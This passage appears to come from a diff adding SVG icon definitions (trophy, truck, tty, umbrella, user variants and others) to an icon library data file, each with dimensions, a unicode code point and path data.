23.16h95.96c11.89 0 19.63-12.52 14.31-23.16L224 440.45V416h136.86c9.01 0 17.26-5.2 21.01-13.25 3.8-8.17 2.44-17.47-3.56-24.26z" ], + trophy: [ 576, 512, [], "f091", "M552 64H448V24c0-13.3-10.7-24-24-24H152c-13.3 0-24 10.7-24 24v40H24C10.7 64 0 74.7 0 88v56c0 35.7 22.5 72.4 61.9 100.7 31.5 22.7 69.8 37.1 110 41.7C203.3 338.5 240 360 240 360v72h-48c-35.3 0-64 20.7-64 56v12c0 6.6 5.4 12 12 12h296c6.6 0 12-5.4 12-12v-12c0-35.3-28.7-56-64-56h-48v-72s36.7-21.5 68.1-73.6c40.3-4.6 78.6-19 110-41.7 39.3-28.3 61.9-65 61.9-100.7V88c0-13.3-10.7-24-24-24zM99.3 192.8C74.9 175.2 64 155.6 64 144v-16h64.2c1 32.6 5.8 61.2 12.8 86.2-15.1-5.2-29.2-12.4-41.7-21.4zM512 144c0 16.1-17.7 36.1-35.3 48.8-12.5 9-26.7 16.2-41.8 21.4 7-25 11.8-53.6 12.8-86.2H512v16z" ], + truck: [ 640, 512, [], "f0d1", "M624 352h-16V243.9c0-12.7-5.1-24.9-14.1-33.9L494 110.1c-9-9-21.2-14.1-33.9-14.1H416V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v320c0 26.5 21.5 48 48 48h16c0 53 43 96 96 96s96-43 96-96h128c0 53 43 96 96 96s96-43 96-96h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM160 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm320 0c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm80-208H416V144h44.1l99.9 99.9V256z" ], + "truck-loading": [ 640, 512, [], "f4de", "M50.2 375.6c2.3 8.5 11.1 13.6 19.6 11.3l216.4-58c8.5-2.3 13.6-11.1 11.3-19.6l-49.7-185.5c-2.3-8.5-11.1-13.6-19.6-11.3L151 133.3l24.8 92.7-61.8 16.5-24.8-92.7-77.3 20.7C3.4 172.8-1.7 181.6.6 190.1l49.6 185.5zM384 0c-17.7 0-32 14.3-32 32v323.6L5.9 450c-4.3 1.2-6.8 5.6-5.6 9.8l12.6 46.3c1.2 4.3 5.6 6.8 9.8 5.6l393.7-107.4C418.8 464.1 467.6 512 528 512c61.9 0 112-50.1 112-112V0H384zm144 448c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z" ], + "truck-monster": [ 640, 512, [], "f63b", "M624 224h-16v-64c0-17.67-14.33-32-32-32h-73.6L419.22 24.02A64.025 64.025 0 0 0 369.24 0H256c-17.67 0-32 14.33-32 32v96H48c-8.84 0-16 7.16-16 16v80H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16.72c29.21-38.65 75.1-64 127.28-64s98.07 25.35 127.28 64h65.45c29.21-38.65 75.1-64 127.28-64s98.07 25.35 127.28 64H624c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-336-96V64h81.24l51.2 64H288zm304 224h-5.2c-2.2-7.33-5.07-14.28-8.65-20.89l3.67-3.67c6.25-6.25 6.25-16.38 0-22.63l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0l-3.67 3.67A110.85 110.85 0 0 0 512 277.2V272c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v5.2c-7.33 2.2-14.28 5.07-20.89 8.65l-3.67-3.67c-6.25-6.25-16.38-6.25-22.63 0l-22.63 22.63c-6.25 6.25-6.25 16.38 0 22.63l3.67 3.67A110.85 110.85 0 0 0 373.2 352H368c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h5.2c2.2 7.33 5.07 14.28 8.65 20.89l-3.67 3.67c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l3.67-3.67c6.61 3.57 13.57 6.45 20.9 8.65v5.2c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-5.2c7.33-2.2 14.28-5.07 20.9-8.65l3.67 3.67c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.25-6.25 6.25-16.38 0-22.63l-3.67-3.67a110.85 110.85 0 0 0 8.65-20.89h5.2c8.84 0 16-7.16 16-16v-32c-.02-8.84-7.18-16-16.02-16zm-112 80c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm-208-80h-5.2c-2.2-7.33-5.07-14.28-8.65-20.89l3.67-3.67c6.25-6.25 6.25-16.38 0-22.63l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0l-3.67 3.67A110.85 110.85 0 0 0 192 277.2V272c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v5.2c-7.33 2.2-14.28 5.07-20.89 8.65l-3.67-3.67c-6.25-6.25-16.38-6.25-22.63 0L58.18 304.8c-6.25 6.25-6.25 16.38 0 22.63l3.67 3.67a110.85 110.85 0 0 0-8.65 20.89H48c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h5.2c2.2 7.33 5.07 14.28 8.65 20.89l-3.67 3.67c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l3.67-3.67c6.61 3.57 13.57 6.45 20.9 8.65v5.2c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-5.2c7.33-2.2 14.28-5.07 20.9-8.65l3.67 3.67c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.25-6.25 6.25-16.38 0-22.63l-3.67-3.67a110.85 110.85 0 0 0 8.65-20.89h5.2c8.84 0 16-7.16 16-16v-32C288 359.16 280.84 352 272 352zm-112 80c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48z" ], + "truck-moving": [ 640, 512, [], "f4df", "M621.3 237.3l-58.5-58.5c-12-12-28.3-18.7-45.3-18.7H480V64c0-17.7-14.3-32-32-32H32C14.3 32 0 46.3 0 64v336c0 44.2 35.8 80 80 80 26.3 0 49.4-12.9 64-32.4 14.6 19.6 37.7 32.4 64 32.4 44.2 0 80-35.8 80-80 0-5.5-.6-10.8-1.6-16h163.2c-1.1 5.2-1.6 10.5-1.6 16 0 44.2 35.8 80 80 80s80-35.8 80-80c0-5.5-.6-10.8-1.6-16H624c8.8 0 16-7.2 16-16v-85.5c0-17-6.7-33.2-18.7-45.2zM80 432c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32zm128 0c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32zm272-224h37.5c4.3 0 8.3 1.7 11.3 4.7l43.3 43.3H480v-48zm48 224c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32z" ], + "truck-pickup": [ 640, 512, [], "f63c", "M624 288h-16v-64c0-17.67-14.33-32-32-32h-48L419.22 56.02A64.025 64.025 0 0 0 369.24 32H256c-17.67 0-32 14.33-32 32v128H64c-17.67 0-32 14.33-32 32v64H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h49.61c-.76 5.27-1.61 10.52-1.61 16 0 61.86 50.14 112 112 112s112-50.14 112-112c0-5.48-.85-10.73-1.61-16h67.23c-.76 5.27-1.61 10.52-1.61 16 0 61.86 50.14 112 112 112s112-50.14 112-112c0-5.48-.85-10.73-1.61-16H624c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM288 96h81.24l76.8 96H288V96zM176 416c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48zm288 0c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48z" ], + tshirt: [ 640, 512, [], "f553", "M631.2 96.5L436.5 0C416.4 27.8 371.9 47.2 320 47.2S223.6 27.8 203.5 0L8.8 96.5c-7.9 4-11.1 13.6-7.2 21.5l57.2 114.5c4 7.9 13.6 11.1 21.5 7.2l56.6-27.7c10.6-5.2 23 2.5 23 14.4V480c0 17.7 14.3 32 32 32h256c17.7 0 32-14.3 32-32V226.3c0-11.8 12.4-19.6 23-14.4l56.6 27.7c7.9 4 17.5.8 21.5-7.2L638.3 118c4-7.9.8-17.6-7.1-21.5z" ], + tty: [ 512, 512, [], "f1e4", "M5.37 103.822c138.532-138.532 362.936-138.326 501.262 0 6.078 6.078 7.074 15.496 2.583 22.681l-43.214 69.138a18.332 18.332 0 0 1-22.356 7.305l-86.422-34.569a18.335 18.335 0 0 1-11.434-18.846L351.741 90c-62.145-22.454-130.636-21.986-191.483 0l5.953 59.532a18.331 18.331 0 0 1-11.434 18.846l-86.423 34.568a18.334 18.334 0 0 1-22.356-7.305L2.787 126.502a18.333 18.333 0 0 1 2.583-22.68zM96 308v-40c0-6.627-5.373-12-12-12H44c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12H92c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zM96 500v-40c0-6.627-5.373-12-12-12H44c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm288 0v-40c0-6.627-5.373-12-12-12H140c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h232c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12z" ], + tv: [ 640, 512, [], "f26c", "M592 0H48A48 48 0 0 0 0 48v320a48 48 0 0 0 48 48h240v32H112a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H352v-32h240a48 48 0 0 0 48-48V48a48 48 0 0 0-48-48zm-16 352H64V64h512z" ], + umbrella: [ 576, 512, [], "f0e9", "M575.7 280.8C547.1 144.5 437.3 62.6 320 49.9V32c0-17.7-14.3-32-32-32s-32 14.3-32 32v17.9C138.3 62.6 29.5 144.5.3 280.8c-2.2 10.1 8.5 21.3 18.7 11.4 52-55 107.7-52.4 158.6 37 5.3 9.5 14.9 8.6 19.7 0 20.2-35.4 44.9-73.2 90.7-73.2 58.5 0 88.2 68.8 90.7 73.2 4.8 8.6 14.4 9.5 19.7 0 51-89.5 107.1-91.4 158.6-37 10.3 10 20.9-1.3 18.7-11.4zM256 301.7V432c0 8.8-7.2 16-16 16-7.8 0-13.2-5.3-15.1-10.7-5.9-16.7-24.1-25.4-40.8-19.5-16.7 5.9-25.4 24.2-19.5 40.8 11.2 31.9 41.6 53.3 75.4 53.3 44.1 0 80-35.9 80-80V301.6c-9.1-7.9-19.8-13.6-32-13.6-12.3.1-22.4 4.8-32 13.7z" ], + "umbrella-beach": [ 640, 512, [], "f5ca", "M115.38 136.9l102.11 37.18c35.19-81.54 86.21-144.29 139-173.7-95.88-4.89-188.78 36.96-248.53 111.8-6.69 8.4-2.66 21.05 7.42 24.72zm132.25 48.16l238.48 86.83c35.76-121.38 18.7-231.66-42.63-253.98-7.4-2.7-15.13-4-23.09-4-58.02.01-128.27 69.17-172.76 171.15zM521.48 60.5c6.22 16.3 10.83 34.6 13.2 55.19 5.74 49.89-1.42 108.23-18.95 166.98l102.62 37.36c10.09 3.67 21.31-3.43 21.57-14.17 2.32-95.69-41.91-187.44-118.44-245.36zM560 447.98H321.06L386 269.5l-60.14-21.9-72.9 200.37H16c-8.84 0-16 7.16-16 16.01v32.01C0 504.83 7.16 512 16 512h544c8.84 0 16-7.17 16-16.01v-32.01c0-8.84-7.16-16-16-16z" ], + underline: [ 448, 512, [], "f0cd", "M32 64h32v160c0 88.22 71.78 160 160 160s160-71.78 160-160V64h32a16 16 0 0 0 16-16V16a16 16 0 0 0-16-16H272a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32v160a80 80 0 0 1-160 0V64h32a16 16 0 0 0 16-16V16a16 16 0 0 0-16-16H32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm400 384H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" ], + undo: [ 512, 512, [], "f0e2", "M212.333 224.333H12c-6.627 0-12-5.373-12-12V12C0 5.373 5.373 0 12 0h48c6.627 0 12 5.373 12 12v78.112C117.773 39.279 184.26 7.47 258.175 8.007c136.906.994 246.448 111.623 246.157 248.532C504.041 393.258 393.12 504 256.333 504c-64.089 0-122.496-24.313-166.51-64.215-5.099-4.622-5.334-12.554-.467-17.42l33.967-33.967c4.474-4.474 11.662-4.717 16.401-.525C170.76 415.336 211.58 432 256.333 432c97.268 0 176-78.716 176-176 0-97.267-78.716-176-176-176-58.496 0-110.28 28.476-142.274 72.333h98.274c6.627 0 12 5.373 12 12v48c0 6.627-5.373 12-12 12z" ], + "undo-alt": [ 512, 512, [], "f2ea", "M255.545 8c-66.269.119-126.438 26.233-170.86 68.685L48.971 40.971C33.851 25.851 8 36.559 8 57.941V192c0 13.255 10.745 24 24 24h134.059c21.382 0 32.09-25.851 16.971-40.971l-41.75-41.75c30.864-28.899 70.801-44.907 113.23-45.273 92.398-.798 170.283 73.977 169.484 169.442C423.236 348.009 349.816 424 256 424c-41.127 0-79.997-14.678-110.63-41.556-4.743-4.161-11.906-3.908-16.368.553L89.34 422.659c-4.872 4.872-4.631 12.815.482 17.433C133.798 479.813 192.074 504 256 504c136.966 0 247.999-111.033 248-247.998C504.001 119.193 392.354 7.755 255.545 8z" ], + "universal-access": [ 512, 512, [], "f29a", "M256 48c114.953 0 208 93.029 208 208 0 114.953-93.029 208-208 208-114.953 0-208-93.029-208-208 0-114.953 93.029-208 208-208m0-40C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 56C149.961 64 64 149.961 64 256s85.961 192 192 192 192-85.961 192-192S362.039 64 256 64zm0 44c19.882 0 36 16.118 36 36s-16.118 36-36 36-36-16.118-36-36 16.118-36 36-36zm117.741 98.023c-28.712 6.779-55.511 12.748-82.14 15.807.851 101.023 12.306 123.052 25.037 155.621 3.617 9.26-.957 19.698-10.217 23.315-9.261 3.617-19.699-.957-23.316-10.217-8.705-22.308-17.086-40.636-22.261-78.549h-9.686c-5.167 37.851-13.534 56.208-22.262 78.549-3.615 9.255-14.05 13.836-23.315 10.217-9.26-3.617-13.834-14.056-10.217-23.315 12.713-32.541 24.185-54.541 25.037-155.621-26.629-3.058-53.428-9.027-82.141-15.807-8.6-2.031-13.926-10.648-11.895-19.249s10.647-13.926 19.249-11.895c96.686 22.829 124.283 22.783 220.775 0 8.599-2.03 17.218 3.294 19.249 11.895 2.029 8.601-3.297 17.219-11.897 19.249z" ], + university: [ 512, 512, [], "f19c", "M496 128v16a8 8 0 0 1-8 8h-24v12c0 6.627-5.373 12-12 12H60c-6.627 0-12-5.373-12-12v-12H24a8 8 0 0 1-8-8v-16a8 8 0 0 1 4.941-7.392l232-88a7.996 7.996 0 0 1 6.118 0l232 88A8 8 0 0 1 496 128zm-24 304H40c-13.255 0-24 10.745-24 24v16a8 8 0 0 0 8 8h464a8 8 0 0 0 8-8v-16c0-13.255-10.745-24-24-24zM96 192v192H60c-6.627 0-12 5.373-12 12v20h416v-20c0-6.627-5.373-12-12-12h-36V192h-64v192h-64V192h-64v192h-64V192H96z" ], + unlink: [ 512, 512, [], "f127", "M304.083 405.907c4.686 4.686 4.686 12.284 0 16.971l-44.674 44.674c-59.263 59.262-155.693 59.266-214.961 0-59.264-59.265-59.264-155.696 0-214.96l44.675-44.675c4.686-4.686 12.284-4.686 16.971 0l39.598 39.598c4.686 4.686 4.686 12.284 0 16.971l-44.675 44.674c-28.072 28.073-28.072 73.75 0 101.823 28.072 28.072 73.75 28.073 101.824 0l44.674-44.674c4.686-4.686 12.284-4.686 16.971 0l39.597 39.598zm-56.568-260.216c4.686 4.686 12.284 4.686 16.971 0l44.674-44.674c28.072-28.075 73.75-28.073 101.824 0 28.072 28.073 28.072 73.75 0 101.823l-44.675 44.674c-4.686 4.686-4.686 12.284 0 16.971l39.598 39.598c4.686 4.686 12.284 4.686 16.971 0l44.675-44.675c59.265-59.265 59.265-155.695 0-214.96-59.266-59.264-155.695-59.264-214.961 0l-44.674 44.674c-4.686 4.686-4.686 12.284 0 16.971l39.597 39.598zm234.828 359.28l22.627-22.627c9.373-9.373 9.373-24.569 0-33.941L63.598 7.029c-9.373-9.373-24.569-9.373-33.941 0L7.029 29.657c-9.373 9.373-9.373 24.569 0 33.941l441.373 441.373c9.373 9.372 24.569 9.372 33.941 0z" ], + unlock: [ 448, 512, [], "f09c", "M400 256H152V152.9c0-39.6 31.7-72.5 71.3-72.9 40-.4 72.7 32.1 72.7 72v16c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24v-16C376 68 307.5-.3 223.5 0 139.5.3 72 69.5 72 153.5V256H48c-26.5 0-48 21.5-48 48v160c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48z" ], + "unlock-alt": [ 448, 512, [], "f13e", "M400 256H152V152.9c0-39.6 31.7-72.5 71.3-72.9 40-.4 72.7 32.1 72.7 72v16c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24v-16C376 68 307.5-.3 223.5 0 139.5.3 72 69.5 72 153.5V256H48c-26.5 0-48 21.5-48 48v160c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48zM264 408c0 22.1-17.9 40-40 40s-40-17.9-40-40v-48c0-22.1 17.9-40 40-40s40 17.9 40 40v48z" ], + upload: [ 512, 512, [], "f093", "M296 384h-80c-13.3 0-24-10.7-24-24V192h-87.7c-17.8 0-26.7-21.5-14.1-34.1L242.3 5.7c7.5-7.5 19.8-7.5 27.3 0l152.2 152.2c12.6 12.6 3.7 34.1-14.1 34.1H320v168c0 13.3-10.7 24-24 24zm216-8v112c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24V376c0-13.3 10.7-24 24-24h136v8c0 30.9 25.1 56 56 56h80c30.9 0 56-25.1 56-56v-8h136c13.3 0 24 10.7 24 24zm-124 88c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20zm64 0c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20z" ], + user: [ 448, 512, [], "f007", "M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z" ], + "user-alt": [ 512, 512, [], "f406", "M256 288c79.5 0 144-64.5 144-144S335.5 0 256 0 112 64.5 112 144s64.5 144 144 144zm128 32h-55.1c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16H128C57.3 320 0 377.3 0 448v16c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48v-16c0-70.7-57.3-128-128-128z" ], + "user-alt-slash": [ 640, 512, [], "f4fa", "M633.8 458.1L389.6 269.3C433.8 244.7 464 198.1 464 144 464 64.5 399.5 0 320 0c-67.1 0-123 46.1-139 108.2L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3zM198.4 320C124.2 320 64 380.2 64 454.4v9.6c0 26.5 21.5 48 48 48h382.2L245.8 320h-47.4z" ], + "user-astronaut": [ 448, 512, [], "f4fb", "M64 224h13.5c24.7 56.5 80.9 96 146.5 96s121.8-39.5 146.5-96H384c8.8 0 16-7.2 16-16v-96c0-8.8-7.2-16-16-16h-13.5C345.8 39.5 289.6 0 224 0S102.2 39.5 77.5 96H64c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16zm40-88c0-22.1 21.5-40 48-40h144c26.5 0 48 17.9 48 40v24c0 53-43 96-96 96h-48c-53 0-96-43-96-96v-24zm72 72l12-36 36-12-36-12-12-36-12 36-36 12 36 12 12 36zm151.6 113.4C297.7 340.7 262.2 352 224 352s-73.7-11.3-103.6-30.6C52.9 328.5 0 385 0 454.4v9.6c0 26.5 21.5 48 48 48h80v-64c0-17.7 14.3-32 32-32h128c17.7 0 32 14.3 32 32v64h80c26.5 0 48-21.5 48-48v-9.6c0-69.4-52.9-125.9-120.4-133zM272 448c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm-96 0c-8.8 0-16 7.2-16 16v48h32v-48c0-8.8-7.2-16-16-16z" ], + "user-check": [ 640, 512, [], "f4fc", "M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4zm323-128.4l-27.8-28.1c-4.6-4.7-12.1-4.7-16.8-.1l-104.8 104-45.5-45.8c-4.6-4.7-12.1-4.7-16.8-.1l-28.1 27.9c-4.7 4.6-4.7 12.1-.1 16.8l81.7 82.3c4.6 4.7 12.1 4.7 16.8.1l141.3-140.2c4.6-4.7 4.7-12.2.1-16.8z" ], + "user-circle": [ 496, 512, [], "f2bd", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 96c48.6 0 88 39.4 88 88s-39.4 88-88 88-88-39.4-88-88 39.4-88 88-88zm0 344c-58.7 0-111.3-26.6-146.5-68.2 18.8-35.4 55.6-59.8 98.5-59.8 2.4 0 4.8.4 7.1 1.1 13 4.2 26.6 6.9 40.9 6.9 14.3 0 28-2.7 40.9-6.9 2.3-.7 4.7-1.1 7.1-1.1 42.9 0 79.7 24.4 98.5 59.8C359.3 421.4 306.7 448 248 448z" ], + "user-clock": [ 640, 512, [], "f4fd", "M496 224c-79.6 0-144 64.4-144 144s64.4 144 144 144 144-64.4 144-144-64.4-144-144-144zm64 150.3c0 5.3-4.4 9.7-9.7 9.7h-60.6c-5.3 0-9.7-4.4-9.7-9.7v-76.6c0-5.3 4.4-9.7 9.7-9.7h12.6c5.3 0 9.7 4.4 9.7 9.7V352h38.3c5.3 0 9.7 4.4 9.7 9.7v12.6zM320 368c0-27.8 6.7-54.1 18.2-77.5-8-1.5-16.2-2.5-24.6-2.5h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h347.1c-45.3-31.9-75.1-84.5-75.1-144zm-96-112c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128z" ], + "user-cog": [ 640, 512, [], "f4fe", "M610.5 373.3c2.6-14.1 2.6-28.5 0-42.6l25.8-14.9c3-1.7 4.3-5.2 3.3-8.5-6.7-21.6-18.2-41.2-33.2-57.4-2.3-2.5-6-3.1-9-1.4l-25.8 14.9c-10.9-9.3-23.4-16.5-36.9-21.3v-29.8c0-3.4-2.4-6.4-5.7-7.1-22.3-5-45-4.8-66.2 0-3.3.7-5.7 3.7-5.7 7.1v29.8c-13.5 4.8-26 12-36.9 21.3l-25.8-14.9c-2.9-1.7-6.7-1.1-9 1.4-15 16.2-26.5 35.8-33.2 57.4-1 3.3.4 6.8 3.3 8.5l25.8 14.9c-2.6 14.1-2.6 28.5 0 42.6l-25.8 14.9c-3 1.7-4.3 5.2-3.3 8.5 6.7 21.6 18.2 41.1 33.2 57.4 2.3 2.5 6 3.1 9 1.4l25.8-14.9c10.9 9.3 23.4 16.5 36.9 21.3v29.8c0 3.4 2.4 6.4 5.7 7.1 22.3 5 45 4.8 66.2 0 3.3-.7 5.7-3.7 5.7-7.1v-29.8c13.5-4.8 26-12 36.9-21.3l25.8 14.9c2.9 1.7 6.7 1.1 9-1.4 15-16.2 26.5-35.8 33.2-57.4 1-3.3-.4-6.8-3.3-8.5l-25.8-14.9zM496 400.5c-26.8 0-48.5-21.8-48.5-48.5s21.8-48.5 48.5-48.5 48.5 21.8 48.5 48.5-21.7 48.5-48.5 48.5zM224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm201.2 226.5c-2.3-1.2-4.6-2.6-6.8-3.9l-7.9 4.6c-6 3.4-12.8 5.3-19.6 5.3-10.9 0-21.4-4.6-28.9-12.6-18.3-19.8-32.3-43.9-40.2-69.6-5.5-17.7 1.9-36.4 17.9-45.7l7.9-4.6c-.1-2.6-.1-5.2 0-7.8l-7.9-4.6c-16-9.2-23.4-28-17.9-45.7.9-2.9 2.2-5.8 3.2-8.7-3.8-.3-7.5-1.2-11.4-1.2h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c10.1 0 19.5-3.2 27.2-8.5-1.2-3.8-2-7.7-2-11.8v-9.2z" ], + "user-edit": [ 640, 512, [], "f4ff", "M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h274.9c-2.4-6.8-3.4-14-2.6-21.3l6.8-60.9 1.2-11.1 7.9-7.9 77.3-77.3c-24.5-27.7-60-45.5-99.9-45.5zm45.3 145.3l-6.8 61c-1.1 10.2 7.5 18.8 17.6 17.6l60.9-6.8 137.9-137.9-71.7-71.7-137.9 137.8zM633 268.9L595.1 231c-9.3-9.3-24.5-9.3-33.8 0l-37.8 37.8-4.1 4.1 71.8 71.7 41.8-41.8c9.3-9.4 9.3-24.5 0-33.9z" ], + "user-friends": [ 640, 512, [], "f500", "M192 256c61.9 0 112-50.1 112-112S253.9 32 192 32 80 82.1 80 144s50.1 112 112 112zm76.8 32h-8.3c-20.8 10-43.9 16-68.5 16s-47.6-6-68.5-16h-8.3C51.6 288 0 339.6 0 403.2V432c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48v-28.8c0-63.6-51.6-115.2-115.2-115.2zM480 256c53 0 96-43 96-96s-43-96-96-96-96 43-96 96 43 96 96 96zm48 32h-3.8c-13.9 4.8-28.6 8-44.2 8s-30.3-3.2-44.2-8H432c-20.4 0-39.2 5.9-55.7 15.4 24.4 26.3 39.7 61.2 39.7 99.8v38.4c0 2.2-.5 4.3-.6 6.4H592c26.5 0 48-21.5 48-48 0-61.9-50.1-112-112-112z" ], + "user-graduate": [ 448, 512, [], "f501", "M319.4 320.6L224 416l-95.4-95.4C57.1 323.7 0 382.2 0 454.4v9.6c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-9.6c0-72.2-57.1-130.7-128.6-133.8zM13.6 79.8l6.4 1.5v58.4c-7 4.2-12 11.5-12 20.3 0 8.4 4.6 15.4 11.1 19.7L3.5 242c-1.7 6.9 2.1 14 7.6 14h41.8c5.5 0 9.3-7.1 7.6-14l-15.6-62.3C51.4 175.4 56 168.4 56 160c0-8.8-5-16.1-12-20.3V87.1l66 15.9c-8.6 17.2-14 36.4-14 57 0 70.7 57.3 128 128 128s128-57.3 128-128c0-20.6-5.3-39.8-14-57l96.3-23.2c18.2-4.4 18.2-27.1 0-31.5l-190.4-46c-13-3.1-26.7-3.1-39.7 0L13.6 48.2c-18.1 4.4-18.1 27.2 0 31.6z" ], + "user-injured": [ 448, 512, [], "f728", "M277.37 11.98C261.08 4.47 243.11 0 224 0c-53.69 0-99.5 33.13-118.51 80h81.19l90.69-68.02zM342.51 80c-7.9-19.47-20.67-36.2-36.49-49.52L239.99 80h102.52zM224 256c70.69 0 128-57.31 128-128 0-5.48-.95-10.7-1.61-16H97.61c-.67 5.3-1.61 10.52-1.61 16 0 70.69 57.31 128 128 128zM80 299.7V512h128.26l-98.45-221.52A132.835 132.835 0 0 0 80 299.7zM0 464c0 26.51 21.49 48 48 48V320.24C18.88 344.89 0 381.26 0 422.4V464zm256-48h-55.38l42.67 